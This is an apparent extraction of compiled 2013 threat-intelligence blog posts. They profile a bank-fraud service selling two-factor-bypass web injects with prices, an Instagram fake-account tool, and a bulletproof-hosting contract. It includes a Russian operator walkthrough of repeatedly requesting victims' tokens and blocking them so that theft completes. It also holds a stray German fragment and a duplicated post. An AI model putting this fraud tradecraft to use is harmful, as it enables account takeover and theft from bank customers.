Einzelheiten und Erläuterungen zu dieser Rechnung Finden Sie auf den Folgenden Seiten. Bei weiteren Fragen stehen wir Ihnen selbstverständlich gerne zur Verfügung. Bitte rufen Sie uns einfach an.

Mit freundlichen Grüßen

9.7.4 A Peek Inside a Managed OTP/ATS/TAN Token Bypassing/ Hijacking/Blocking

System as a (Licensed) Service (2013-07-19 22:43)

One of the most common questions that I get during Q &A sessions after a PPT, or in a face-

to-face conversation is - " *Hello, my name is [name], I represent [random financial institution].*

Are we being targeted based on your situational awareness? "

For years, virtually every company, every brand, every financial institution has been tar-

geted, largely thanks to the rise of Crimeware-as-a-Service underground market propositions

offering standardized and cybercrime-release friendly 'Web Injects', the result of active

pre-sale reconnaissance performed on the E-banking service of the targeted institution. The

business model is fairly simple - next to 'pushing' a pre-defined set of 'Web Injects' for some

of the largest and well known financial institutions in the World, 'Web Injects' for virtually any

SSL/Two-Factor Authentication enabled Web site, can be requested and produced on demand,

usually for a static amount of money.

" *But we issue two-factor authentication tokens to our customers.*

Isn't this making any

change? "

Sophisticated cybercriminals possessing 'innovative' underground market disrupting forces,

have been [1]**undermining two-factor authentication for years**. An uncomfortable truth that

your financial institution of choice wouldn't necessarily want you to know about, as it would

most commonly [2]**risk-forward the responsibility to you**, under a contractual agreement, or

actually possess an industry-accepted certification for the operation of such online services,

thanks to the introduction of two-factor authentication, and the

internal security measures

preventing a direct compromise of the financial institution's infrastructure.

4379

With source code for the [3]**ZeuS crimeware**, as well as [4]**Carberp**, publicly available

for virtually anyone to download, it [5]**shouldn't be** surprising that [6]**cybercriminals have**

started to release more crimeware, using these prominent releases, in an attempt to quickly

capitalize on the source code that's been contributing to a huge percentage of the profitability

of the cybercrime ecosystem in general.

What are some of the latest 'innovations" in the world of Cybercrime-as-a-Service, in

particular the market segment for "Web Injects"?

Are cybercriminals striving to produce

ZeuS/Carberp like underground market "products", or are they attempting to disrupt the

entire cybercrime ecosystem by offering a standardizing E-banking Web site reconnaissance

services, that would work on virtually any publicly obtainable/leaked source code based

crimeware/malware release?

That's exactly what the cybercriminal whose underground market proposition I'm about

to profile, is doing - offering crimeware-independent standardized on demand "Web Injects",

in particular OTP (One-Time-Password), ATS (Automatic Transfer Service), TAN (Transaction

Authentication Number) bypassing/hijacking/blocking system, or in those cases where the

customer demands - offer "finished crimeware products"?

Sample automatically translated underground market proposition:

I am writing to inject custom-made as well as offer finished products.

The main provisions of the Service:

1.

Tools manufactures both private and public products.

1.1 Under the private means software products manufactured "in one hand" with the full right

to transfer and resale.

The client of the right to require the source code private product.

Support for the private software somewhere executed in priority order.

1.2 If the "privacy" of the product is not stipulated in advance that product becomes the default

public service and the right to sell it to other customers.

4380

1.3 Prices for private products involve premium of 50 % to the price of the underlying / social

product.

1.4 Distribution / Transmission of any parts of the code or of the products purchased on the

basis of the public, will result in a denial of service on all products purchased from third-party

service, followed by filing a complaint in section Black List.

1.5 Public products are delivered on an "as is," and do not include its value of any additions or

changes.

1.5.1 Any changes to the products are made public as an additional order and measured in

accordance with the workload.

1.6 Service does not run on the lease terms.

Only a piecework basis!

1.7 Service does not give advice about cross-translation, relevance or affine those topics.

For providing information about banks / cantor Service is not responsible.

2.

Service is responsible for the performance of the paid code for the negotiated period.

2.1 If the period of service is not verbalized it enters into force standard warranty period is 10

days from the date of issue of working product.

3.

Warranties:

3.1 The Service shall recover from the purchased products for a specified warranty period, for

that is technically possible.

Free of charge - during the warranty period, and the charge on the expiration of the warranty

period.

Prices for the repair of products range from $ 10 up to the full cost of the product and depend

directly on the volume of the work.

4381

3.2.

Service is not responsible for the failure of performance caused by the code:

3.2.1 ***The introduction of third-party software which prevents full operation.***

(Rapport)

3.2.2 ***The introduction of sms / email notifications that can not be disabled by means***

of injection.

3.2.3 ***The introduction of this activity exhibiting malicious code (without the possi-***

bility of elimination)

3.2.4 The other changes in the source code of banks / sites prevent recovery of the product.

3.3 The Service does not guarantee a return to work ordered acquired products, but only can

guarantee the performance of the software according to the negotiated terms of reference.

4.

Approximate prices for soft (public foundation)

grabber balance of $ 10 (1 unit)

popup $ 70

Fake full page from $ 150

repleyser from $ 450 (3 units each include an additional $ 50 .. 100)

grabbers data from 150 $

Automated OTP/ATS/TAN from $ 2500

Sample explanation of the service in action, courtesy of the cybercriminal behind it:

4382

доброго времени суток
сегодня я покажу как работает система обхода токена
для начала основные положения и команды
Block - заблокировать холдера
OTP - запросить токен
Wait - сбросить статус для того чтобы при повторном входе иннект стартовал заново
Pass - пропустить в аккаунт

входим в ак
а увеличу ка я таймеры)))
для начала я покажу ситуацию: когда вас нет у компа и команды не поступают. в этом случае холдеры будут свободно
проходить в свои аккаунты (если только они не заблокированы ранее) -- т.е. вход в аккаунт по таймауту
ну как видим включился таймер и иннект ждёт команды. если её не поступит то сработает таймаут и холдера пустит в аккаунт
так как холдер новый и он ранее не заблокирован
*блокировка кстати идёт по логину.
а зря я таймеры увеличил)
кстати в этот момент (когда холдер входит в ак) вам в жаббер прийдёт сообщение
ну и соответствующая запись появится в логе (смотрим)
как видим в логе отображено что холдер вошёл в аккаунт по таймауту. ну как как акаунт вамашлен мы получили ошибку о
неверном логине или пароле
при последующей попытке войти холдер будет пропускаться в аккаунт. так как сейчас напротив него стоит команда
"пустить в ак" (Pass)
проверим
как видим без таймеров и сразу "пустило в ак" (опять же не пустило потому что логин и пас несуществующий)
ну и в логе должно было отразить эти действия
теперь заблокируем этот аккаунт. скажем так для того чтобы проверить фэйк))
проверим что будет если холдер попытается войти в заблокированый аккаунт
это же можно выполнить во время ожидания команды
сбросим аккаунт на запрос ещё раз
то есть в данный момент иннект ожидает от нас каких либо комманд
скажем так: мы сейчас получили в жаббер логин и пароль зашли в аккаунт и баланс этого аккаунта нам не понравился
дадим команду на блокировку ака

как видим без таймеров и сразу "пустило в ак" (опять же не пустило потому что логин и пас несуществующий)
ну и в логе должно было отразить эти действия
теперь заблокируем этот аккаунт. скажем так для того чтобы проверить фэйк))
проверим что будет если холдер попытается войти в заблокированый аккаунт
это же можно выполнить во время ожидания команды
сбросим аккаунт на запрос ещё раз
то есть в данный момент иннект ожидает от нас каких либо комманд
скажем так: мы сейчас получили в жаббер логин и пароль зашли в аккаунт и баланс этого аккаунта нам не понравился.
что делать? давайте заблокируем его
а потом тоже самое только пропустим его в аккаунт (будем добрее)
как видим бот успешно получил команду и фэйк был отображён. соответственно всё это было отображено в логе

при последующем входе опять же будет показан фэйк блокировки
сбросим
теперь дадим команду "пропустить в ак" к примеру мы зашли он нам не понравился ну и чтоб не заставлять холдера психоват
мы решили его пропустить в ак

ну и самое "вкусное" запрос токена
как видим токен пришёл (так же и в жаббер) ну и бот ждёт команду. если опять же не дать команду то запрос токена
рестартанётся и токен опять будет запрошен.
не будем ждать таймаута запросим токен ешёраз. к примеру бот нам дал неверный токен и банк на него ругнулся
литл баг)
проверим ещё раз (связанный с локальными таймаутами на зпрос команды, в боевом режиме они будут более секунды)
ну вот как видим повторный запрос токена. и так можно долбить холдера пока он не даст нужный токен пока он не поймёт
что надо вводить токен а не 123456
введём токен ещё раз
ну и к примеру на этот раз был введён верный токен. ну и залив наш ушёл. что делать? думаю стоит заблокировать холдеру
вход чтоб залив благополучно дошёл
ну вот и всё? кстати можно было дать и другие команду. к примеру не даёт банк залить ну и всё тут. что делать? да пропу
холдера в ак пусть тусуется. ну или опять за запросить токен по новой.

с вами был [redacted] всего хорошего и успехов в работе

Two-factor authentication - indeed, an additional layer of security for your E-banking account,

however, everything changes on a crimeware-infected host, and sadly, it changes in favor of

the cybercriminal that compromised it.

This post has been reproduced from [7]Dancho Danchev's blog.

Follow him

9.7.5 A Peek Inside a Managed OTP/ATS/TAN Token Bypassing/ Hijacking/Blocking

System as a (Licensed) Service (2013-07-19 22:43)

4391

One of the most common questions that I get during Q &A sessions after a PPT, or in a

face-to-face conversation is - " *Hello, my name is [name], I represent [random financial*

institution]. Are we being targeted based on your situational awareness? "

For years, virtually every company, every brand, every financial institution has been tar-

geted, largely thanks to the rise of Crimeware-as-a-Service underground market propositions

offering standardized and cybercrime-release friendly ’Web Injects’, the result of active

pre-sale reconnaissance performed on the E-banking service of the targeted institution. The

business model is fairly simple - next to ’pushing’ a pre-defined set of ’Web Injects’ for some

of the largest and well known financial institutions in the World, ’Web Injects’ for virtually any

SSL/Two-Factor Authentication enabled Web site, can be requested and produced on demand,

usually for a static amount of money.

" *But we issue two-factor authentication tokens to our customers.*

Isn’t this making any

change? "

Sophisticated cybercriminals possessing ’innovative’ underground market disrupting forces,

have been [1]**undermining two-factor authentication for years**. An uncomfortable truth that

your financial institution of choice wouldn’t necessarily want you to know about, as it would

most commonly [2]**risk-forward the responsibility to you**, under a contractual agreement, or

actually possess an industry-accepted certification for the operation of

such online services,

thanks to the introduction of two-factor authentication, and the internal security measures

preventing a direct compromise of the financial institution's infrastructure.

With source code for the [3]**ZeuS crimeware**, as well as [4]**Carberp**, publicly available

for virtually anyone to download, it [5]**shouldn't be** surprising that [6]**cybercriminals have**

started to release more crimeware, using these prominent releases, in an attempt to quickly

capitalize on the source code that's been contributing to a huge percentage of the profitability

of the cybercrime ecosystem in general.

What are some of the latest 'innovations" in the world of Cybercrime-as-a-Service, in

particular the market segment for "Web Injects"?

Are cybercriminals striving to produce

ZeuS/Carberp like underground market "products", or are they attempting to disrupt the

entire cybercrime ecosystem by offering a standardizing E-banking Web site reconnaissance

services, that would work on virtually any publicly obtainable/leaked source code based

4392

crimeware/malware release?

That's exactly what the cybercriminal whose underground market proposition I'm about

to profile, is doing - offering crimeware-independent standardized on demand "Web Injects",

in particular OTP (One-Time-Password), ATS (Automatic Transfer Service), TAN (Transaction

Authentication Number) bypassing/hijacking/blocking system, or in those cases where the

customer demands - offer "finished crimeware products"?

Sample automatically translated underground market proposition:

I am writing to inject custom-made as well as offer finished products.

The main provisions of the Service:

1.

Tools manufactures both private and public products.

1.1 Under the private means software products manufactured "in one hand" with the full right

to transfer and resale.

The client of the right to require the source code private product.

Support for the private software somewhere executed in priority order.

1.2

If the "privacy" of the product is not stipulated in advance that

product becomes the default public service and the right to sell it to

other customers.

4393

1.3 Prices for private products involve premium of 50 % to the price of the underlying / social

product.

1.4

Distribution / Transmission of any parts of the code or of the products

purchased on the basis of the public, will result in a denial of

service on all products purchased from third-party service, followed by

filing a complaint in section Black List.

1.5 Public products are delivered on an "as is," and do not include its value of any additions or

changes.

1.5.1 Any changes to the products are made public as an additional order and measured in

accordance with the workload.

1.6 Service does not run on the lease terms.

Only a piecework basis!

1.7 Service does not give advice about cross-translation, relevance or affine those topics.

For providing information about banks / cantor Service is not responsible.

2.

Service is responsible for the performance of the paid code for the negotiated period.

2.1

If the period of service is not verbalized it enters into force

standard warranty period is 10 days from the date of issue of working

product.

3.

Warranties:

4394

3.1 The Service shall recover from the purchased products for a specified warranty period, for

that is technically possible.

Free of charge - during the warranty period, and the charge on the

expiration of the warranty

period.

Prices

for the repair of products range from $ 10 up to the full cost of the

product and depend directly on the volume of the work.

3.2.

Service is not responsible for the failure of performance caused by the code:

3.2.1 ***The introduction of third-party software which prevents full operation.***

(Rapport)

3.2.2 ***The introduction of sms / email notifications that can not be disabled by means***

of injection.

3.2.3 ***The introduction of this activity exhibiting malicious code (without the possi-***

bility of elimination)

3.2.4 The other changes in the source code of banks / sites prevent recovery of the product.

3.3

The Service does not guarantee a return to work ordered acquired

products, but only can guarantee the performance of the software

according to the negotiated terms of reference.

```
доброго времени суток
сегодня я покажу как работает система обхода токена
для начала основные положения и команды
Block - заблокировать холдера
OTP - запросить токен
Wait - сбросить статус для того чтобы при повторном входе иннект стартовал занова
Pass - пропустить в аккаунт

входим в ак
а увеличу ка я таймеры )))
для начала я покажу ситуацию: когда вас нет у компа и команды не поступают. в этом случае холдеры будут свободно
проходить в свои аккаунты (если только они не заблокированы ранее) -- т.е. вход в аккаунт по таймауту
ну как видим включился таймер и иннект ждёт команды. если её не поступит то сработает таймаут и холдера пустит в аккаунт
так как холдер новый и он ранее не заблокирован
*блокировка кстати идёт по логину.
а зря я таймеры увеличил )
кстати в этот момент (когда холдер входит в ак) вам в жаббер прийдёт сообщение
ну и соответствующая запись появится в логе (смотрим)
как видим в логе отображено что холдер вошёл в аккаунт по таймауту. ну как как акаунт вымышлен мы получили ошибку о
неверном логине или пароле
при последующей попытке войти холдер будет пропускаться в аккаунт. так как сейчас напротив него стоит команда
"пустить в ак" (Pass)
проверим
как видим без таймеров и сразу "пустило в ак" (опять же не пустило потому что логин и пас несуществующий)
ну и в логе должно было отразить эти действия
теперь заблокируем этот аккаунт. скажем так для того чтобы проверить фэйк ))
проверим что будет если холдер попытается войти в заблокированый аккаунт
это же можно выполнить во время ожидания команды
сбросим аккаунт на запрос ещё раз
то есть в данный момент иннект ожидает от нас каких либо комманд
скажем так: мы сейчас получили в жаббер логин и пароль зашли в аккаунт и баланс этого аккаунта нам не понравился
дадим команду на блокировкуака
```

4.

Approximate prices for soft (public foundation)

grabber balance of $ 10 (1 unit)

popup $ 70

Fake full page from $ 150

repleyser from $ 450 (3 units each include an additional $ 50 .. 100)

grabbers data from 150 $

Automated OTP/ATS/TAN from $ 2500

Sample explanation of the service in action, courtesy of the cybercriminal behind it:

4396

```
24  как видим без таймеров и сразу "пустило в ак" (опять же не пустило потому что логин и пас несуществующий)
25  ну и в логе должно было отразить эти действия
26  теперь заблокируем этот аккаунт. скажем так для того чтобы проверить фэйк ))
27  проверим что будет если холдер попытается войти в заблокированый аккаунт
28  это же можно выполнить во время ожидания команды
29  сбросим аккаунт на запрос ещё раз
30  то есть в данный момент инжект ожидает от нас каких либо комманд
31  скажем так: мы сейчас получили в жаббер логин и пароль зашли в аккаунт и баланс этого аккаунта нам не понравился.
32  что делать? давайте заблокируем его
33  а потом тоже самое только пропустим его в аккаунт (будем добрее)
34  как видим бот успешно получил команду и фэйк был отображён. соответственно всё это было отображено в логе
35
36  при последующем входе опять же будет показан фэйк блокировки
37  сбросим
38  теперь дадим команду "пропустить в ак" к примеру мы зашли он нам не понравился ну и чтоб не заставлять холдера психоват
39  мы решили его пропустить в ак
40
41  ну и самое "вкусное" запрос токена
42  как видим токен пришёл (так же и в жаббер) ну и бот ждёт команду. если опять же не дать команду то запрос токена
43  рестартанётся и токен опять будет запрошен.
44  не будем ждать таймаута запросим токен ещёраз. к примеру бот нам дал неверный токен и банк на него ругнулся
45  литл баг )
46  проверим ещё раз (связанный с локальными таймаутами на запрос команды, в боевом режиме они будут более секунды)
47  ну вот как видим повторный запрос токена. и так можно долбить холдера пока он не даст нужный токен пока он не поймёт
48  что надо вводить токен а не 123456
49  введём токен ещё раз
50  ну и к примеру на этот раз был введён верный токен. ну и залив наш ушёл. что делать? думаю стоит заблокировать холдеру
51  вход чтоб залив благополучно дошёл
52  ну вот и всё? кстати можно было дать и другие команду. к примеру не даёт банк залить ну и всё тут. что делать? да пропу
53  холдера в ак пусть тусуется. ну или опять за запросить токен по новой.
54
55  с вами был [redacted] всего хорошего и успехов в работе
```

Two-factor authentication - indeed, an additional layer of security for your E-banking ac-

count, however, everything changes on a crimeware-infected host, and sadly, it changes in

favor of the cybercriminal that compromised it.

9.7.6 Instagram Under Fire as Cybercriminals Release New DIY Fake Account Regis-

tration/Management/Promotion Tool (2013-07-23 17:01)

In 2013, CAPTCHAs represent an [1]**outdated approach** for a Web site wanting to prevent the

[2]**efficient and systematic abuse** of its services.

This fact, largely driven by the rise of [3]**cost-effective CAPTCHA solving solutions** of-

fered by low-waged individuals internationally over the last couple of years, continues to

empower virtually anyone possessing the right cybercrime-friendly tools, with the ability to

[4]**abuse any major Web property** in a potentially fraudulent or malicious way.

In this post, I'll profile one of the most recently released DIY fake account registra-

tion/management/promoting tool, targeting Instagram, highlight its core features, as well as

emphasize on the true impact that these tools are having on some of the world's most popular

Web properties.

4408

Sample screenshots of the tool in action:

Some of its core features are:

• support for multi-threads

• set number ot accounts to generate using a single proxy (malware-infected host)

• randomization of the posted bogus content to avoid easy detection of the pattern

• male/female fake account creating capabilities

• mass account validity checking capabilities

• CAPTCHA-solving integration with third-party CAPTCHA solving services

Over the years, I've been extensively profiling campaigns utilizing purely legitimate infras-

tructure for achieving the fraudulent/malicious objectives set by the cybercriminal behind the

campaign. These cases demonstrate that cybercriminals continue to pursue the efficient and

systematic abuse of legitimate Web properties, which on the other hand, continue relying on

CAPTCHA challenges to differentiate between bots and humans using the site, forgetting that

it’s actually humans solving the CAPTCHAs for the their customers.

Known cases of abuse of legitimate infrastructure for fraudulent/malicious purposes

over the years include:

9.8.2 Dissecting a Sample Russian Business Network (RBN) Contract/Agreement

Through the Prism of RBN's AbdAllah Franchise (2013-08-10 21:10)

[1]**The Russian Business Network (RBN)**, is perhaps the most speculated, buzzed about,

cybercrime enterprise in the World, a poster child for fraudulent activity 'streaming' from

'Mother Russia', in the eyes of respected/novice security/cybercrime researchers across the

globe.

However, what a huge percentage of the researchers who're just catching up with its

’[2]**fraudulent performance metrics**’ over the years, don’t realize, is how a newly emerged

bulletproof hosting provider, managed to end up, as the World’s most prolific source of

fraudulent/malicious activity.

Hint: Basic business concepts like franchising, signalling the early stages of the modern-

ization/professionalization of cybercrime, where being the benchmark has had a direct

inspirational impact in the ’hearts and minds’ of current and potential cybercriminals, then

and now.

Case in point is [3]**Abdallah Internet Hizmetleri also known as AbdAllah (VN)**, an ex-RBN

darling relying on the franchise business concept.

4431

In this post, I’ll discuss a sample contract/contractual agreement that every one of its

customers had to sign before doing business with them, which in the broader context leads to

a situation, where while the franchise is publicly advertising the bulletproof hosting services

for trojans, exploits, warez, adult content, drop projects, botnets and spam, it’s explicitly

forbidding such activities – with some visible exceptions – in its contractual agreement.

What does this mean?

It means that the Russian Business Network, the benchmark for

the majority of ex/currently active bulletproof hosting providers, has been (legally) forwarding

the responsibility for the fraudulent activity to its customers, in between reserving the right to

act and deactivate their accounts if they ever violate the agreement/contract. The first thing

that comes to my mind when it comes to the RBN 'reaction' in a socially oriented manner, are

the infamous [4]**RBN Fake Account Suspended Notices**, and that's just for starters, indicating

a deteriorated understanding of malicious/fraudulent activity, with high profit margins in mind.

Let's go through the contract/agreement that every customer used to sign, before doing

cybercrime-friendly business with them, both in original Russian, and automatically translated

in English.

Sample AbdAllah (VN) Contractual Bulletproof Hosting Agreement/Contract in Russian:

1. ПРЕДМЕТ ДОГОВОРА

1.1. Заказчик поручает, а ИСПОЛНИТЕЛЬ берет на себя обязательства по размещению

и/или регистрации виртуального сервера ЗАКАЗЧИКА в сети Интернет.

2. УСЛОВИЯ ВЫПОЛНЕНИЯ ДОГОВОРА

2.1. По заключению настоящего договора ИСПОЛНИТЕЛЬ производит первоначальную

установку и настройку виртуального сервера и обеспечивает ЗАКАЗЧИКА необходимой

информацией для администрирования виртуального сервера.

2.2.

ИСПОЛНИТЕЛЬ обеспечивает доступ в сети Интернет к

виртуальному серверу,

а так же работоспособность всех доступных сервисов ЗАКАЗЧИКА круглосуточно в

течение семи дней в неделю.

3. ЦЕНЫ И ПОРЯДОК ОПЛАТЫ

3.1.

Стоимость и порядок оплаты работ по настоящему договору на момент

его

заключения

определяется

в

соответствии

с

действующими

условиями,

распространяемыми сотрудниками по E-Mail и/или ICQ.

3.2.

Оплата вносится ЗАКАЗЧИКОМ в счет оплаты услуги поддержки виртуального

веб-сервера ИСПОЛНИТЕЛЕМ. ИСПОЛНИТЕЛЬ вправе приостановить предоставление

услуг при отрицательном состоянии счета.

3.3.

Все выделенные серверы предоставляются в состоянии UNMANAGED, т.е

администраторы ИСПОЛНИТЕЛЯ могут, но не ОБЯЗАНЫ

настраивать арендуемый

сервер. За любую настройку сервера ЗАКАЗЧИКА, либо скриптов на нём - взымается

плата в размере 50 USD/за 1 час работы администратора ИСПОЛНИТЕЛЯ по Вашему

вопросу, минимум пол часа.

Полное администрирование сервера специалистами

4432

ИСПОЛНИТЕЛЯ стоит 250 USD в месяц. Бесплатно осуществляется перезагрузка сервер

(если нет автоматической формы для этого).

3.4. В случае не оплаты услуг ЗАКАЗЧИКОМ в последний день биллингового периода,

данные ЗАКАЗЧИКА удаляются по наступлению новых суток без возвратно. В случае

виртуального хостинга удаляется аккаунт и все бэкапы данного аккаунта, в случае

аренды сервера (dedicated или vps) сервер снимается с обслуживания, форматируются

жесткие диски.

4. ОТВЕТСТВЕННОСТЬ СТОРОН

4.1.

ИСПОЛНИТЕЛЬ не несет ответственности перед ЗАКАЗЧИКОМ или третьими

сторонами за любые задержки, прерывания, ущерб или потери, происходящие из-за:

(а)

дефектов

в

любом

электронном

или

механическом

оборудовании,

не

принадлежащем ИСПОЛНИТЕЛЮ;

(б) проблем при передаче данных или соединении, произошедших не по вине

ИСПОЛНИТЕЛЯ ;

(в) вследствие обстоятельств непреодолимой силы в общепринятом смысле, т.е.

чрезвычайными силами и непредотвратимыми обстоятельствами, не подлежащими

разумному контролю;

(г) давление властей.

4.2. При расторжении Договора по инициативе ЗАКАЗЧИКА, неиспользованная часть

аванса ЗАКАЗЧИКУ не возвращается.

4.3.

ИСПОЛНИТЕЛЬ оставляет за собой право приостановить обслуживание

ЗАКАЗЧИКА или расторгнуть договор в безусловном порядке без возвращения

средств заказчику в следующих случаях:

- размещение детской порнографии и зоофилии в любом виде;

- попытки взлома, несанкционированного проникновения на сервер, в аккаунты

других клиентов, попытки порчи оборудования или программного обеспечения;

- попытки взлома правительственных организаций в любом виде;

- попытки спама любого рода с наших серверов виртуального хостинга, кроме

как через соксы;

- попытки фишинга банков (кража денег);

- размещение информации по торговле оружием и наркотиками, торговля

людьми или органами людей, вызывающие межнациональную и религиозную

рознь, призывающую к войне и насилию;

- неоправданная перегрузка вычислительных мощностей сервера виртуального

хостинга (допускается использовать не более 5 % мощности процессора и не

более 128Мб оперативной памяти сервера);

- попытки взлома с серверов (dedicated и виртуальный хостинг) - серверы,

4433

которые расположены рядом в стойке, либо клиентов этой же страны, где

расположен сервер;

- оскорбление в любой форме сотрудников сервиса.

4.4.

ИСПОЛНИТЕЛЬ

не

отвечает

за

содержание

информации,

размещаемой

ЗАКАЗЧИКОМ.

4.5.

ИСПОЛНИТЕЛЬ не будет нести ответственности за любые затраты или ущерб,

прямо или косвенно возникшие в результате использования услуги вэб хостинга.

4.6.

MoneyBack за выделенный сервер возможен только в том случае,

если

недоступность данного сервера происходит по вине ИСПОЛНИТЕЛЯ, ввиду того, что

ИСПОЛНИТЕЛЬ оплачиваем полную стоимость сервера в Дата-Центр. Также возможна

замена сервера.

4.7.

Размещение сайтов ЗАКАЗЧИКА, рекламируемых SPAMом на серверах

ИСПОЛНИТЕЛЯ (как виртаульного хостинга, так и dedicated) оплачивается

отдельно из расчета объема писем. При объёмах от 5млн до 10млн =1000 USD

- 1500 USD в месяц за сервер в Китае или ГонгКонге, либо 150

USD неделя или

500 USD в месяц за виртуальный хостинг, более 10-20 млн. = 200 USD неделя

либо 2000 $ за выделенный сервер.

4.8.

ИСПОЛНИТЕЛЬ обязуется делать ежедневные резервные копии аккаунта

ЗАКАЗЧИКА на сторонний сервер (только виртуальный хостинг).

4.9. ИСПОЛНИТЕЛЬ обязуется решать самостоятельно все жалобы (абузы/abuse),

не привлекая к этому ЗАКАЗЧИКА и без вмешательства в данные ЗАКАЗЧИКА.

ИСПОЛНИТЕЛЬ

не

решает

жалобы

(абузы/abuse)

от

полиции,

крупных

правительственных организаций и VerSign.

4.10.

ИСПОЛНИТЕЛЬ не дает никаких гарантий, что домен ЗАКАЗЧИКА не будет

заблокирован по любым причинам, а особенно таким как любой вид SPAMa, fraud,

phishing и т.п.

5. КОНФИДЕНЦИАЛЬНАЯ ИНФОРМАЦИЯ

5.1.

Стороны обязуются без обоюдного согласия не передавать третьим лицам

либо

использовать

иным

способом,

не

предусмотренным

условиями

Договора,

организационно-технологическую, коммерческую, финансовую и иную информацию,

составляющую секрет для любой из сторон (далее - "конфиденциальная информация")

при условии, что:

- такая информация имеет действительную или потенциальную коммерческую ценность

в силу ее неизвестности третьим лицам;

- к такой информации нет свободного доступа на законном основании;

- обладатель такой информации принимает надлежащие меры к обеспечению ее

конфиденциальности.

5.2.

Стороны обязуются, без обоюдного согласия, не передавать третьим лицам

сведения о содержании и условиях Договора.

5.3.

ИСПОЛНИТЕЛЬ обязуется предотвращать запись логов на серверах

виртуального хостинга и маршрутизирующем оборудовании.

5.4.

Будьте внимательны, сотрудники ИСПОЛНИТЕЛЯ не запрашивают пароли от

аккаунтов виртуального хостинга и выделенных серверов.

Исключением является

ситуация, когда ЗАКАЗЧИК просить произвести какие-либо работы на его Выделенном

Сервере.

Automatically translated Russian Business Network (RBN) Contractual Agreement/Contract:

1. SUBJECT OF CONTRACT

1.1.

Customer Requests, but ARTIST is committed to the placement and / or registra-

tion CUSTOMER virtual server on the Internet.

4435

2. CONDITIONS OF IMPLEMENTATION OF THE TREATY

2.1.

At the conclusion of this treaty ARTIST produces initial setup and configuration of

the virtual server and provides the necessary information for CUSTOMER virtual server

administration.

2.2. ARTIST provides access to the Internet to the virtual server, as well as efficiency of

all available services CUSTOMER day seven days a week.

3. PRICES AND ORDER OF PAYMENT

3.1. Cost and arrangements of works under this contract at the time of its conclusion is

determined in accordance with existing conditions, the staff distributed by E-Mail and / or ICQ.

3.2. Payment is made ZAKAZCHIKOM as payment services support virtual web server IS-

POLNITELEM. ARTIST right to suspend the provision of services at a negative status of the

account.

3.3.

All dedicated servers are provided in a position UNMANAGED ie ISPOLNITELYA ad-

ministrators can, but not OBYAZANY tune rented server. For any server setup CUSTOMER or

scripts on it - charge of $ 50 USD / for 1 hour administrator ISPOLNITELYA to your question, at

least half an hour. The full server administration specialists ISPOLNITELYA worth USD 250 per

month. Free done rebooting the server (if not automatic form for this).

3.4.

If no payment ZAKAZCHIKOM bill on the last day of the period, the data are re-

moved CUSTOMER new offensive on days without reciprocating. In the case of virtual hosting

account and removed all of your backups, in case the rental server (dedicated or vps) server

is removed from service, formatted hard drives.

4. RESPONSIBILITY OF PARTIES

4.1.

ARTIST no responsibility to ZAKAZCHIKOM or third parties for any delays, interrup-

tions, damage or losses that occur because of:

(a) defects in any electronic or mechanical equipment, not belonging ISPOLNITELYU;

(b) problems in the transfer of data or connection that occurred through no fault ISPOLNITELYA;

(c) due to force majeure circumstances, in the conventional sense, that is,

nepredotvratimymi

forces and emergency circumstances, not subject to reasonable control;

(g) pressure from the authorities.

4.2.

At the dissolution of the Treaty on the initiative CUSTOMER, ZAKAZCHIKU unused

portion of the advance is not refundable.

4.3. ARTIST reserves the right to suspend or terminate CUSTOMER service contract

in order without the unconditional return of customer funds in the following cases:

– Locating and zoofilii child pornography in any form;

– attempted burglary, unauthorized entry to the server, in the accounts of other

4436

customers, trying to damage equipment or software;

– attempted burglary governmental organizations in any form;

– spam attempts of any kind from our servers hosting virtual except through SOCKS;

– phishing attempts banks (stealing money);

– posting on the arms trade and drug trafficking, or human organs, causing

inter-ethnic and religious discord, calling for war and violence;

– unjustified computing power overload virtual server hosting (which is allowed to

use no more than 5 % of CPU capacity, and no more than 128 MB of RAM server);

– attempted burglary of servers (and dedicated virtual hosting) -

servers, which are

located next to the rack, a customer in the same country where the server;

– insulting to any form of service personnel.

4.4.

ARTIST is not responsible for the content of the information posted ZAKAZCHIKOM.

4.5.

ARTIST shall not be liable for any costs or damages arising directly or indirectly

from the use of Web hosting services.

4.6.

MoneyBack for dedicated server is possible only in case the inaccessibility of the

fault occurs on the server ISPOLNITELYA, because ARTIST pay for the full cost of a server in

Data Center. Also possible replacement server.

4.7.

Placing sites CUSTOMER advertised on servers ISPOLNITELYA SPAM (as

virtaulnogo hosting, and dedicated) is charged separately at the rate of the volume

of letters. With volume of 5 million to 10 million USD = 1000 - 1500 USD per month

for the server in China or Gong Konge or 150 USD week, or 500 USD per month for a

virtual hosting, a 10-20 million = 200 USD week, or $ 2000 for a dedicated server.

4.8. ARTIST undertakes to do daily backups CUSTOMER account for the

third-party server

(only virtual hosting).

4.9.

ARTIST undertakes to decide all complaints (abuzy / abuse), are not en-

gaging in the CUSTOMER and without interference in the CUSTOMER data. ARTIST

does not solve complaints (abuzy / abuse) from the police, government organiza-

tions and major VerSign.

4.10.

ARTIST gives no guarantees that the domain CUSTOMER not be blocked for any

reason, but especially like any kind of SPAM, fraud, phishing, etc.

5. CONFIDENTIAL INFORMATION

5.1.

The Parties undertake without the unanimous consent not to transfer to third par-

ties or used in any other way other than prescribed conditions Treaty, organizational and

We offer you the hosting resources under the "non-standard" content:
Logs, exploits, trojans, warez, adult, drop-projects, botnets, spam and more.
Our servers for shared-hosting provided with all the necessary tools for your job. If you start to run out of some file, then in a support request - we will deliver it to you (only on shared hosting).
On all our servers for hosting technology installed RAID, which eliminates the loss of your data. Moreover, your backups every day go into separate independent server, which eliminates their loss. Bulletproof dedicated servers for any purpose with wide channels in Moscow, Hong Kong, USA, Malaysia and the legitimate server for various projects at affordable prices. Important: **We do not sell karzhenymi serversI** its own IP network in Hong Kong! (OS installation by the customer (Fedora Core, CentOS, FreeBSD, Debian). Control Panel: DirectAdmin- cPanel- panel Udalennnaya reboot All you need for your successful business. We absolutely can not: -Child porn; -Phishing (we do not keep any of abuzy Versign, police and government organizations) , Bestsilly; -projects aimed at breaking government organizations and bodies of executive power; ANY KIND-SPAM from the server (only allowed through anonymous socks) -Any insult to the administration service. ICQ:

technological, commercial, financial and other information, which is the secret to any of the

parties (hereinafter - "confidential information"), provided that:

– this information is actual or potential commercial value by virtue of its unknown third parties;

– to such information no free access to the lawful;

– holds such information shall take appropriate steps to ensure its confidentiality.

5.2.

The Parties undertake, without unanimous consent, not to transfer to third parties

about the content and conditions of the Treaty.

5.3. ARTIST undertakes to prevent logging on servers and virtual hosting routing

equipment.

5.4.

